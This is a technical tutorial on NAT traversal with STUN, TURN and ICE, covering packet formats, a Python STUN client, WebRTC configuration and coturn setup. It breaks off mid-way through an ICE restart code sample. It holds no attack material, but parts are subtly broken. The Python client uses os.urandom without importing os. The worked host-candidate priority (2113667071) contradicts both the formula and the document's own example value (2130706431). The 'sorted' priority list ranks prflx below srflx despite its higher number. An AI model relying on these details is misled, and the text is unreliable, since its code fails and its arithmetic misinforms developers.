STUN server responds: "I see you as 203.0.113.5:54321"
Peer A tells Peer B: "Connect to 203.0.113.5:54321"
Peer B connects successfully 

Client                    STUN Server               Peer
(Behind NAT)              (Public IP)
  |                            |                      |
  | STUN Binding Request       |                      |
  |--------------------------->|                      |
  |                            |                      |
  | STUN Binding Response      |                      |
  |<---------------------------|                      |
  | (Your public IP:Port)      |                      |
  |                            |                      |
  | Send public IP:Port        |                      |
  |-------------------------------------------------->|
  |                            |                      |
  |        Direct connection established              |
  |<------------------------------------------------->|

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|0 0|     STUN Message Type     |         Message Length        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Magic Cookie                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
|                     Transaction ID (96 bits)                  |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Attributes                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|0 0 0 0 0 0 0 0|    Family     |         X-Port                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                X-Address (Variable)                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Family: 0x01 (IPv4), 0x02 (IPv6)
X-Port: Port XORed with most significant 16 bits of magic cookie
X-Address: IP address XORed with magic cookie (and transaction ID for IPv6)

Client → STUN Server (UDP port 3478)

Message Type: Binding Request (0x0001)
Message Length: 0
Magic Cookie: 0x2112A442
Transaction ID: 0xB7E7A701BC34D686FA87DFAE

No attributes in basic request

00 01 00 00 21 12 A4 42
B7 E7 A7 01 BC 34 D6 86
FA 87 DF AE

STUN Server → Client

Message Type: Binding Response (0x0101)
Message Length: 12 (length of attributes)
Magic Cookie: 0x2112A442
Transaction ID: 0xB7E7A701BC34D686FA87DFAE (same as request)

Attributes:
  XOR-MAPPED-ADDRESS:
    Family: IPv4 (0x01)
    Port: 54321 (XORed)
    IP: 203.0.113.5 (XORed)

Your public IP address: 203.0.113.5
Your public port: 54321
NAT binding created: 192.168.1.10:5000 ↔ 203.0.113.5:54321

Internal: 192.168.1.10:5000

NAT creates mapping:
  192.168.1.10:5000 ↔ 203.0.113.5:6000

Any external host can send to 203.0.113.5:6000
  → Forwarded to 192.168.1.10:5000

Best for P2P (easy to traverse)

Internal: 192.168.1.10:5000

NAT creates mapping:
  192.168.1.10:5000 ↔ 203.0.113.5:6000

External host 1.2.3.4 can send to 203.0.113.5:6000
  ONLY IF 192.168.1.10:5000 previously sent to 1.2.3.4

Moderate difficulty to traverse

Internal: 192.168.1.10:5000

NAT creates mapping:
  192.168.1.10:5000 ↔ 203.0.113.5:6000

External host 1.2.3.4:7000 can send to 203.0.113.5:6000
  ONLY IF 192.168.1.10:5000 previously sent to 1.2.3.4:7000

More difficult to traverse

Internal: 192.168.1.10:5000

NAT creates different mappings per destination:
  To host A: 192.168.1.10:5000 ↔ 203.0.113.5:6000
  To host B: 192.168.1.10:5000 ↔ 203.0.113.5:6001
  To host C: 192.168.1.10:5000 ↔ 203.0.113.5:6002

Difficult to traverse (may need TURN relay)

1. Host Candidate:
   Local IP: 192.168.1.10:5000

2. Server Reflexive Candidate (from STUN):
   Public IP: 203.0.113.5:6000

3. Relayed Candidate (from TURN):
   Relay IP: 198.51.100.1:7000

Try connections in order:
  1. Direct (host to host)
  2. Through NAT (server reflexive)
  3. Through relay (last resort)

Peer A                    STUN Server              Peer B
  |                            |                      |
  | Get my public IP           |                      |
  |--------------------------->|                      |
  |                            |                      |
  | 203.0.113.5:6000           |                      |
  |<---------------------------|                      |
  |                            |                      |
  | Exchange candidates via signaling server          |
  |<------------------------------------------------->|
  |                            |                      |
  | Try connection             |                      |
  |<------------------------------------------------->|
  | Connectivity check (STUN)  |                      |
  |<------------------------------------------------->|
  |                            |                      |
  | Connection established     |                      |
  |<=================================================>|

Request:
  USERNAME: "alice:bob"
  MESSAGE-INTEGRITY: HMAC-SHA1(message, password)

Server validates:
  1. Check username exists
  2. Compute HMAC with stored password
  3. Compare with MESSAGE-INTEGRITY
  4. Accept or reject

Request 1 (no credentials):
  Binding Request

Response 1:
  Error 401 Unauthorized
  REALM: "example.com"
  NONCE: "random-nonce-12345"

Request 2 (with credentials):
  USERNAME: "alice"
  REALM: "example.com"
  NONCE: "random-nonce-12345"
  MESSAGE-INTEGRITY: HMAC-SHA1(message, MD5(username:realm:password))

Response 2:
  Binding Success Response
  XOR-MAPPED-ADDRESS: ...

import socket
import struct
import hashlib
import hmac

STUN_SERVER = "stun.l.google.com"
STUN_PORT = 19302
MAGIC_COOKIE = 0x2112A442

def create_stun_binding_request():
    # Message type: Binding Request (0x0001)
    msg_type = 0x0001

    # Message length: 0 (no attributes)
    msg_length = 0

    # Transaction ID: 96 random bits
    transaction_id = os.urandom(12)

    # Pack header
    header = struct.pack(
        '!HHI',
        msg_type,
        msg_length,
        MAGIC_COOKIE
    ) + transaction_id

    return header, transaction_id

def parse_stun_response(data, transaction_id):
    # Parse header
    msg_type, msg_length, magic_cookie = struct.unpack('!HHI', data[:8])
    recv_transaction_id = data[8:20]

    # Verify transaction ID
    if recv_transaction_id != transaction_id:
        raise Exception("Transaction ID mismatch")

    # Parse attributes
    offset = 20
    while offset < len(data):
        attr_type, attr_length = struct.unpack('!HH', data[offset:offset+4])
        offset += 4

        if attr_type == 0x0020:  # XOR-MAPPED-ADDRESS
            # Parse XOR-MAPPED-ADDRESS
            family = data[offset + 1]
            x_port = struct.unpack('!H', data[offset+2:offset+4])[0]
            x_ip = struct.unpack('!I', data[offset+4:offset+8])[0]

            # Un-XOR
            port = x_port ^ (MAGIC_COOKIE >> 16)
            ip = x_ip ^ MAGIC_COOKIE
            ip_addr = socket.inet_ntoa(struct.pack('!I', ip))

            return ip_addr, port

        offset += attr_length

    return None, None

def get_public_ip_port():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(3)

    try:
        # Create and send binding request
        request, transaction_id = create_stun_binding_request()
        sock.sendto(request, (STUN_SERVER, STUN_PORT))

        # Receive response
        data, addr = sock.recvfrom(1024)

        # Parse response
        public_ip, public_port = parse_stun_response(data, transaction_id)

        return public_ip, public_port
    finally:
        sock.close()

# Usage
public_ip, public_port = get_public_ip_port()
print(f"Public IP: {public_ip}:{public_port}")

// Create RTCPeerConnection with STUN server
const configuration = {
  iceServers: [
    { urls: 'stun:stun.l.google.com:19302' },
    { urls: 'stun:stun1.l.google.com:19302' }
  ]
};

const pc = new RTCPeerConnection(configuration);

// Listen for ICE candidates
pc.onicecandidate = (event) => {
  if (event.candidate) {
    console.log('ICE Candidate:', event.candidate);
    // Send candidate to remote peer via signaling
  }
};

// Create offer to trigger ICE gathering
pc.createOffer()
  .then(offer => pc.setLocalDescription(offer))
  .then(() => {
    // ICE candidates will be gathered
    // and onicecandidate will be called
  });

Google:
  stun.l.google.com:19302
  stun1.l.google.com:19302
  stun2.l.google.com:19302
  stun3.l.google.com:19302
  stun4.l.google.com:19302

Twilio:
  global.stun.twilio.com:3478

OpenRelay:
  stun.relay.metered.ca:80

# Using stunclient (stuntman tools)
stunclient stun.l.google.com

# Output example:
# Binding test: success
# Local address: 192.168.1.10:45678
# Mapped address: 203.0.113.5:45678

STUN tells you: 203.0.113.5:6000
But when connecting to peer, NAT assigns: 203.0.113.5:6001

Peer can't connect to you
→ Need TURN relay

Some networks block UDP
STUN won't work
→ Need TCP fallback or TURN over TCP

Restrictive firewalls may block P2P connections
Even with correct IP:port from STUN
→ Need TURN relay

STUN only discovers address
Doesn't relay data
If direct connection fails, need TURN

STUN:
  - Discovers public IP:port
  - Lightweight
  - No bandwidth cost
  - Doesn't always work

TURN:
  - Relays traffic
  - Always works
  - Bandwidth intensive
  - Costs money

ICE:
  - Uses both STUN and TURN
  - Tries STUN first
  - Falls back to TURN
  - Best of both worlds

# Install
sudo apt-get install coturn

# Configure /etc/turnserver.conf
listening-port=3478
fingerprint
lt-cred-mech
use-auth-secret
static-auth-secret=YOUR_SECRET
realm=example.com
total-quota=100
stale-nonce=600

# Start server
sudo turnserver -v

# Test locally
stunclient localhost

Scenario 1: Symmetric NAT
  Peer A behind Symmetric NAT
  Different public port for each destination
  STUN can't provide usable address
  → Need TURN relay

Scenario 2: Restrictive Firewall
  Corporate firewall blocks incoming P2P
  Even with correct address from STUN
  → Need TURN relay

Scenario 3: UDP Blocked
  Network blocks UDP traffic
  Can't use STUN or direct P2P
  → Need TURN over TCP

Peer A                    TURN Server                Peer B
(Behind NAT)              (Public IP)                (Behind NAT)
192.168.1.10              198.51.100.1               10.0.0.5
  |                            |                         |
  | Allocate Request           |                         |
  |--------------------------->|                         |
  | Allocate Success           |                         |
  |<---------------------------|                         |
  | (Relayed address assigned) |                         |
  |                            |                         |
  | Send relayed address       |                         |
  | to Peer B via signaling    |                         |
  |                            |                         |
  |         Data               |          Data           |
  |--------------------------->|------------------------>|
  |                            | (TURN relays)           |
  |         Data               |          Data           |
  |<---------------------------|<------------------------|

Client requests allocation from TURN server:

1. Client: "I need a relay address"
2. TURN: "Here's 198.51.100.1:50000 for you"
3. Client: "Route traffic between me and Peer X"
4. TURN: "OK, I'll relay your traffic"

Allocation lifetime: 10 minutes (default, can be refreshed)

Client → TURN Server

Method: Allocate
Attributes:
  REQUESTED-TRANSPORT: UDP (17)
  LIFETIME: 600 seconds
  USERNAME: "alice"
  MESSAGE-INTEGRITY: HMAC

TURN Server → Client

Method: Allocate Success
Attributes:
  XOR-RELAYED-ADDRESS: 198.51.100.1:50000
  LIFETIME: 600 seconds
  XOR-MAPPED-ADDRESS: 203.0.113.5:54321 (client's public IP)
  MESSAGE-INTEGRITY: HMAC

Client                          TURN Server
  |                                |
  | Allocate Request               |
  | (credentials, transport)       |
  |------------------------------->|
  |                                |
  | Allocate Success               |
  | (relayed address)              |
  |<-------------------------------|
  |                                |

Allocation created:
  Client: 203.0.113.5:54321
  Relay: 198.51.100.1:50000
  Lifetime: 600 seconds

Client                          TURN Server
  |                                |
  | CreatePermission Request       |
  | (peer IP: 10.0.0.5)            |
  |------------------------------->|
  |                                |
  | CreatePermission Success       |
  |<-------------------------------|
  |                                |

TURN server now accepts traffic from 10.0.0.5
Permission lifetime: 300 seconds

Client                    TURN Server               Peer
  |                            |                      |
  | Send Indication            |                      |
  | To: 10.0.0.5:6000          |                      |
  | Data: "Hello"              |                      |
  |--------------------------->|                      |
  |                            | UDP: "Hello"         |
  |                            |--------------------->|
  |                            |                      |

Client                    TURN Server               Peer
  |                            |                      |
  | ChannelBind Request        |                      |
  | Channel: 0x4000            |                      |
  | Peer: 10.0.0.5:6000        |                      |
  |--------------------------->|                      |
  |                            |                      |
  | ChannelBind Success        |                      |
  |<---------------------------|                      |
  |                            |                      |
  | ChannelData (0x4000)       |                      |
  | Data: "Hello"              |                      |
  |--------------------------->|                      |
  |                            | UDP: "Hello"         |
  |                            |--------------------->|

ChannelData has only 4-byte overhead (vs 36 bytes for Send)
More efficient for continuous data flow

Peer                      TURN Server              Client
  |                            |                      |
  | UDP: "Reply"               |                      |
  |--------------------------->|                      |
  |                            | Data Indication      |
  |                            | From: 10.0.0.5:6000  |
  |                            | Data: "Reply"        |
  |                            |--------------------->|
  |                            |                      |

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|0 0|     STUN Message Type     |         Message Length        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Magic Cookie                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     Transaction ID (96 bits)                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                   XOR-PEER-ADDRESS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        DATA                                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Channel Number        |            Length             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |
|                       Application Data                        |
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Channel Number: 0x4000 - 0x7FFF
Length: Length of application data

Request 1 (no credentials):
  Allocate Request

Response 1:
  Error 401 Unauthorized
  REALM: "example.com"
  NONCE: "abcd1234"

Request 2 (with credentials):
  USERNAME: "alice"
  REALM: "example.com"
  NONCE: "abcd1234"
  MESSAGE-INTEGRITY: HMAC-SHA1(message, key)

Key = MD5(username:realm:password)

Response 2:
  Allocate Success Response
  XOR-RELAYED-ADDRESS: ...
  LIFETIME: 600

Used within ICE (WebRTC):
  USERNAME: <random>:<random>
  PASSWORD: <shared secret>

Simpler, time-limited authentication

1. Allocate (request relay)
   ↓
2. Success (relay assigned)
   ↓
3. CreatePermission (allow peers)
   ↓
4. ChannelBind (optimize transfer)
   ↓
5. Send/Receive Data
   ↓
6. Refresh (extend lifetime)
   ↓
7. Delete or Expire

Timeline:
  0s: Allocate
  300s: Refresh (extend to 900s)
  600s: Refresh (extend to 1200s)
  900s: Refresh (extend to 1500s)
  ...
  Stop refreshing: Allocation expires

Default mode
Client → TURN Server: UDP
TURN Server → Peer: UDP

Fast, but UDP might be blocked

Client → TURN Server: TCP
TURN Server → Peer: UDP

Works when UDP blocked
More overhead (TCP vs UDP)

Client → TURN Server: TLS over TCP
TURN Server → Peer: UDP

Encrypted control channel
Works in restrictive environments
Port 443 (looks like HTTPS)

ICE tries candidates in order:

1. Host Candidate (local IP)
   Type: host
   Priority: Highest
   Example: 192.168.1.10:5000

2. Server Reflexive (STUN)
   Type: srflx
   Priority: High
   Example: 203.0.113.5:6000

3. Relayed (TURN)
   Type: relay
   Priority: Lowest (fallback)
   Example: 198.51.100.1:50000

Connection attempt:
  Try host → Try srflx → Try relay
  Use first successful connection

const configuration = {
  iceServers: [
    // STUN server (free)
    { urls: 'stun:stun.l.google.com:19302' },

    // TURN server (requires auth)
    {
      urls: 'turn:turn.example.com:3478',
      username: 'alice',
      credential: 'password123'
    },

    // TURN over TLS
    {
      urls: 'turns:turn.example.com:5349',
      username: 'alice',
      credential: 'password123'
    }
  ]
};

const pc = new RTCPeerConnection(configuration);

sudo apt-get install coturn

# Listening ports
listening-port=3478
tls-listening-port=5349

# Relay ports
min-port=49152
max-port=65535

# Authentication
lt-cred-mech
user=alice:password123
realm=example.com

# Or use shared secret
use-auth-secret
static-auth-secret=my-secret-key

# Certificates (for TLS)
cert=/etc/ssl/turn.crt
pkey=/etc/ssl/turn.key

# Logging
log-file=/var/log/turnserver.log
verbose

# External IP (if behind NAT)
external-ip=203.0.113.5/192.168.1.10

# Limit resources
max-bps=1000000
total-quota=100

sudo turnserver -v

# Using turnutils
turnutils_uclient -v -u alice -w password123 turn.example.com

Video call: 2 Mbps per direction

Direct P2P (no TURN):
  Client A →→ Client B
  Total bandwidth: 4 Mbps (2 up + 2 down each)

Through TURN relay:
  Client A → TURN → Client B
  TURN bandwidth: 4 Mbps (2 in + 2 out)
  Each client: 4 Mbps (2 up + 2 down)

TURN server needs 2x the bandwidth!

Example: 1000 concurrent video calls through TURN
  Each call: 2 Mbps × 2 directions = 4 Mbps
  Total: 1000 × 4 Mbps = 4 Gbps

At $0.10/GB:
  4 Gbps = 0.5 GB/second
  Per hour: 1,800 GB = $180/hour
  Per day: 43,200 GB = $4,320/day

Why ICE tries direct connection first!

1. Prefer direct connections (STUN)
   - ~80% of connections succeed
   - Zero relay bandwidth

2. Short allocation lifetimes
   - Free up resources quickly
   - Prevent unused allocations

3. Connection quality monitoring
   - Switch from relay to direct if possible
   - ICE restart

4. Rate limiting
   - Prevent abuse
   - Fair resource sharing

5. Geographic distribution
   - Regional TURN servers
   - Reduce latency

Public TURN servers = expensive bandwidth
Must authenticate:
  - Username/password
  - Time-limited credentials
  - Shared secrets

Limit per user:
  - Bandwidth (bytes/sec)
  - Total data (GB)
  - Concurrent allocations
  - Allocation lifetime

Restrict by:
  - IP ranges (corporate network)
  - Time windows
  - User groups

1. Active allocations
   - Current number
   - Peak usage

2. Bandwidth
   - Total throughput
   - Per-client usage
   - Inbound/outbound ratio

3. Connections
   - Success rate
   - Allocation duration
   - Peak concurrent

4. Authentication
   - Failed attempts
   - Expired credentials

5. Resources
   - CPU usage
   - Memory
   - Network interfaces
   - Port exhaustion

# Real-time stats
telnet localhost 5766

# Commands:
ps    # Print sessions
pid   # Show process info
pc    # Print configuration

Pros: Free, low latency
Cons: Doesn't always work
Success rate: ~80%

Traditional VoIP infrastructure
Built-in media relays
More expensive

Janus, Jitsi, Kurento
Selective Forwarding Unit (SFU)
Different model than TURN

# Check TURN server is running
sudo systemctl status coturn

# Check listening ports
netstat -tuln | grep 3478

# Test with turnutils
turnutils_uclient -v turn.example.com

# Verify credentials
turnutils_uclient -u alice -w password123 turn.example.com

# Check realm configuration
grep realm /etc/turnserver.conf

# Check logs
tail -f /var/log/turnserver.log

- Use geographically closer TURN server
- Check server load (CPU, bandwidth)
- Try TURN over TCP (sometimes faster)
- Monitor network path (traceroute)

Traditional Scenario:
┌──────────────┐                    ┌──────────────┐
│  Client A    │                    │  Client B    │
│ 10.0.0.5     │                    │ 192.168.1.10 │
└──────┬───────┘                    └──────┬───────┘
       │                                   │
       │ NAT                          NAT  │
       │                                   │
┌──────▼───────┐                    ┌──────▼───────┐
│    Router    │                    │    Router    │
│ 203.0.113.5  │                    │ 198.51.100.3 │
└──────────────┘                    └──────────────┘
       │                                   │
       └───────────── Internet ────────────┘

Problems:
1. Client A only knows its private IP (10.0.0.5)
2. Client B can't reach 10.0.0.5 (not routable)
3. Client A doesn't know Client B's public IP
4. Routers block unsolicited incoming connections

ICE Solution:
1. Discover public IPs (STUN)
2. Try multiple connection paths
3. Use relay as fallback (TURN)
4. Select best working path

1. Gather Candidates
   Collect all possible ways to reach this peer:
   - Host candidate (local IP)
   - Server reflexive (public IP from STUN)
   - Relayed candidate (TURN relay)

2. Exchange Candidates
   Send candidates to remote peer via signaling

3. Pair Candidates
   Create pairs: local candidate + remote candidate

4. Check Connectivity
   Test all pairs in priority order

5. Select Best Pair
   Use the pair with highest priority that works

6. Keep Alive
   Maintain selected connection

Peer A                    Signaling Server                    Peer B
  |                              |                               |
  |──① Gather Candidates         |                               |
  |    - host                    |                               |
  |    - srflx (STUN)            |                               |
  |    - relay (TURN)            |                               |
  |                              |                               |
  |──② Send Candidates──────────►|                               |
  |    via SDP offer             |                               |
  |                              |──③ Forward Candidates────────►|
  |                              |                               |
  |                              |                               |──④ Gather Candidates
  |                              |                               |    - host
  |                              |                               |    - srflx (STUN)
  |                              |                               |    - relay (TURN)
  |                              |                               |
  |                              |◄──⑤ Send Candidates───────────|
  |                              |    via SDP answer             |
  |◄─⑥ Forward Candidates────────|                               |
  |                              |                               |
  |──⑦ Connectivity Checks───────────────────────────────────────►|
  |   (test all candidate pairs)                                 |
  |                              |                               |
  |◄─⑧ Connectivity Checks───────────────────────────────────────|
  |   (test all candidate pairs)                                 |
  |                              |                               |
  |──⑨ Nomination (best pair)────────────────────────────────────►|
  |                              |                               |
  |◄─⑩ Confirmation──────────────────────────────────────────────|
  |                              |                               |
  |══⑪ Media/Data Flow ═══════════════════════════════════════════|
  |   (using selected pair)                                      |

Local network interface address:

Type: host
Address: 10.0.0.5:54321
Foundation: 1

Characteristics:
- Actual IP address of the interface
- No NAT traversal
- Works only on same local network
- Lowest latency
- Priority: High for local connections

Example:
candidate:1 1 UDP 2130706431 10.0.0.5 54321 typ host

Use case:
- Devices on same LAN
- No NAT between peers

Public IP address as seen by STUN server:

Type: srflx
Address: 203.0.113.5:61234
Related: 10.0.0.5:54321
Foundation: 2

Characteristics:
- Discovered via STUN server
- Public IP:port after NAT
- Most common for internet connections
- Priority: Medium-High

Example:
candidate:2 1 UDP 1694498815 203.0.113.5 61234 typ srflx
    raddr 10.0.0.5 rport 54321

Discovery:
1. Client sends STUN request from 10.0.0.5:54321
2. STUN server sees request from 203.0.113.5:61234
3. STUN responds with "Your IP:port is 203.0.113.5:61234"
4. Client creates srflx candidate

Use case:
- Typical internet connections
- NAT traversal
- Peer-to-peer over internet

Public IP discovered during connectivity checks:

Type: prflx
Address: 203.0.113.5:61235
Foundation: 3

Characteristics:
- Discovered during checks (not via STUN)
- Learned from peer's connectivity checks
- Alternative to srflx
- Priority: Medium

Example:
candidate:3 1 UDP 1862270975 203.0.113.5 61235 typ prflx
    raddr 10.0.0.5 rport 54321

Discovery:
1. Peer B sends connectivity check
2. Peer A receives from unexpected address
3. Peer A learns new reflexive address
4. Creates prflx candidate

Use case:
- Discovered during connection attempts
- Additional connectivity options

Address on TURN relay server:

Type: relay
Address: 198.51.100.10:55555
Related: 203.0.113.5:61234
Foundation: 4

Characteristics:
- Allocated on TURN server
- Relay forwards all traffic
- Works through any NAT/firewall
- Highest latency and bandwidth cost
- Priority: Low (fallback)

Example:
candidate:4 1 UDP 16777215 198.51.100.10 55555 typ relay
    raddr 203.0.113.5 rport 61234

Discovery:
1. Client requests allocation from TURN server
2. TURN allocates 198.51.100.10:55555
3. Client creates relay candidate
4. All traffic flows through TURN

Use case:
- Symmetric NATs
- Restrictive firewalls
- When direct connection fails
- Corporate networks

Priority Formula:
priority = (2^24 × type preference) +
           (2^8 × local preference) +
           (256 - component ID)

Type Preference (higher = better):
- host: 126
- prflx: 110
- srflx: 100
- relay: 0

Local Preference:
- Higher for interfaces you prefer
- Typically: 65535 for best interface

Component ID:
- 1 for RTP (main media)
- 2 for RTCP (control)

Example Calculations:

Host candidate:
(2^24 × 126) + (2^8 × 65535) + (256 - 1)
= 2113667071

Srflx candidate:
(2^24 × 100) + (2^8 × 65535) + (256 - 1)
= 1694498815

Relay candidate:
(2^24 × 0) + (2^8 × 65535) + (256 - 1)
= 16777215

Sorted by priority (high to low):

1. host (LAN)           Priority: 2113667071
   - Try first
   - Works if same network
   - Lowest latency

2. srflx (NAT)          Priority: 1694498815
   - Try second
   - Works through NAT
   - Good latency

3. prflx (Discovered)   Priority: 1862270975
   - Try if discovered
   - Alternative path

4. relay (TURN)         Priority: 16777215
   - Try last
   - Always works
   - Higher latency/cost

Best path:
host → host (LAN)
host → srflx (NAT traversal)
srflx → srflx (Both behind NAT)
relay → relay (Fallback)

// ICE gathering state machine

peerConnection.onicegatheringstatechange = () => {
  console.log('ICE gathering state:',
    peerConnection.iceGatheringState);
};

/*
States:

1. new
   - Initial state
   - No gathering started

2. gathering
   - Actively gathering candidates
   - STUN/TURN requests in progress

3. complete
   - All candidates gathered
   - Ready to connect
*/

// Monitor gathering
peerConnection.addEventListener('icecandidate', (event) => {
  if (event.candidate) {
    console.log('New candidate:', event.candidate);
    // Send to remote peer
  } else {
    console.log('Gathering complete');
    // All candidates collected
  }
});

// Configure ICE servers
const configuration = {
  iceServers: [
    // Public STUN servers (Google)
    {
      urls: 'stun:stun.l.google.com:19302'
    },
    {
      urls: 'stun:stun1.l.google.com:19302'
    },

    // STUN server (custom)
    {
      urls: 'stun:stun.example.com:3478'
    },

    // TURN server (UDP and TCP)
    {
      urls: [
        'turn:turn.example.com:3478',
        'turn:turn.example.com:3478?transport=tcp'
      ],
      username: 'user',
      credential: 'password',
      credentialType: 'password'
    },

    // TURN server (TLS)
    {
      urls: 'turns:turn.example.com:5349',
      username: 'user',
      credential: 'password'
    }
  ],

  // ICE transport policy
  iceTransportPolicy: 'all', // 'all' or 'relay'
  // 'all': Try all candidates
  // 'relay': Only use TURN (force relay)

  // Candidate pool size
  iceCandidatePoolSize: 10
  // Pre-allocate TURN allocations
  // Higher = faster but more resources
};

const peerConnection = new RTCPeerConnection(configuration);

// Sender: Send candidates as discovered
peerConnection.onicecandidate = (event) => {
  if (event.candidate) {
    // Send immediately (trickle)
    signaling.send({
      type: 'ice-candidate',
      candidate: event.candidate
    });
  } else {
    // Signal end of candidates
    signaling.send({
      type: 'ice-candidate',
      candidate: null
    });
  }
};

// Receiver: Add candidates as received
signaling.on('ice-candidate', async (message) => {
  if (message.candidate) {
    try {
      await peerConnection.addIceCandidate(
        new RTCIceCandidate(message.candidate)
      );
    } catch (error) {
      console.error('Error adding candidate:', error);
    }
  } else {
    // End of candidates
    console.log('Remote candidate gathering complete');
  }
});

Benefits:
- Faster connection establishment
- Start checks before all candidates gathered
- Improved user experience

Connectivity Check Process:

1. Create Candidate Pairs
   Local Candidate    Remote Candidate         Pair
   10.0.0.5:54321  +  192.168.1.10:44444  =  Pair 1
   10.0.0.5:54321  +  198.51.100.3:55555  =  Pair 2
   203.0.113.5:61234 + 192.168.1.10:44444 =  Pair 3
   203.0.113.5:61234 + 198.51.100.3:55555 =  Pair 4
   198.51.100.10:55555 + 192.168.1.10:44444 = Pair 5
   198.51.100.10:55555 + 198.51.100.3:55555 = Pair 6

2. Sort Pairs by Priority
   Priority = min(local priority, remote priority)

3. Send STUN Binding Request
   From: Local candidate
   To: Remote candidate
   Message: STUN Binding Request
   Attributes:
   - USERNAME: ice-ufrag
   - PRIORITY: candidate priority
   - ICE-CONTROLLING or ICE-CONTROLLED
   - MESSAGE-INTEGRITY: HMAC

4. Receive STUN Binding Response
   From: Remote candidate
   To: Local candidate
   Message: STUN Binding Response (Success)
   Attributes:
   - XOR-MAPPED-ADDRESS
   - MESSAGE-INTEGRITY

5. Mark Pair as Valid
   If response received, pair works!

6. Nominate Best Pair
   Controlling agent nominates highest priority valid pair

ICE Roles:

Controlling Agent (Caller):
- Makes final decision on selected pair
- Sends nomination
- Usually the offerer

Controlled Agent (Callee):
- Responds to checks
- Accepts nomination
- Usually the answerer

Role Conflict Resolution:
If both think they're controlling:
- Compare ICE tie-breaker values
- Higher value becomes controlling
- Lower value becomes controlled

Attribute:
ICE-CONTROLLING: <tie-breaker>
  or
ICE-CONTROLLED: <tie-breaker>

Candidate Pair States:

1. Frozen
   - Initial state
   - Waiting to be checked
   - Not yet sent binding request

2. Waiting
   - Ready to check
   - Will check soon
   - Waiting for resources

3. In Progress
   - Binding request sent
   - Waiting for response
   - Timeout if no response

4. Succeeded
   - Binding response received
   - Pair is valid
   - Can be used for media

5. Failed
   - No response (timeout)
   - Or error response
   - Cannot use this pair

State Machine:
Frozen → Waiting → In Progress → Succeeded ✓
                               → Failed ✗

peerConnection.oniceconnectionstatechange = () => {
  console.log('ICE connection state:',
    peerConnection.iceConnectionState);

  switch (peerConnection.iceConnectionState) {
    case 'new':
      // Initial state, gathering not started
      console.log('ICE gathering starting...');
      break;

    case 'checking':
      // Checking candidate pairs
      console.log('Testing connectivity...');
      break;

    case 'connected':
      // At least one working pair found
      console.log('Connection established!');
      break;

    case 'completed':
      // All checks done, best pair selected
      console.log('ICE completed');
      break;

    case 'failed':
      // All pairs failed
      console.error('Connection failed');
      // Fallback: restart ICE or use TURN
      handleConnectionFailure();
      break;

    case 'disconnected':
      // Lost connectivity (temporary?)
      console.warn('Connection lost, attempting to reconnect...');
      break;

    case 'closed':
      // Connection closed
      console.log('Connection closed');
      break;
  }
};

// Overall connection state (combines ICE + DTLS)
peerConnection.onconnectionstatechange = () => {
  console.log('Connection state:',
    peerConnection.connectionState);
  // States: new, connecting, connected, disconnected, failed, closed
};

// Restart ICE
async function restartIce(peerConnection) {
  console.log('Restarting ICE...');

  // Create new offer with iceRestart option
  const offer = await peerConnection.createOffer({
    iceRestart: true
  });

  await peerConnection.setLocalDescription(offer);

  // Send new offer to peer
  signaling.send({
    type: 'offer',
    sdp: offer
  });

  // New candidates will be gathered
  // New connectivity checks will be performed
}

// Trigger restart on failure
peerConnection.oniceconnectionstatechange = () => {
  if (peerConnection.iceConnectionState === 'failed') {
    console.error('ICE failed, restarting...');
    restartIce(peerConnection);
  }
};

// Or restart on disconnection timeout
let disconnectTimeout;

peerConnection.oniceconnectionstatechange = () => {
  if (peerConnection.iceConnectionState === 'disconnected') {
    // Wait 5 seconds before restart
    disconnectTimeout = setTimeout(() => {
      if (peerConnection.iceConnectionState !== 'connected') {
        restartIce(peerConnection);
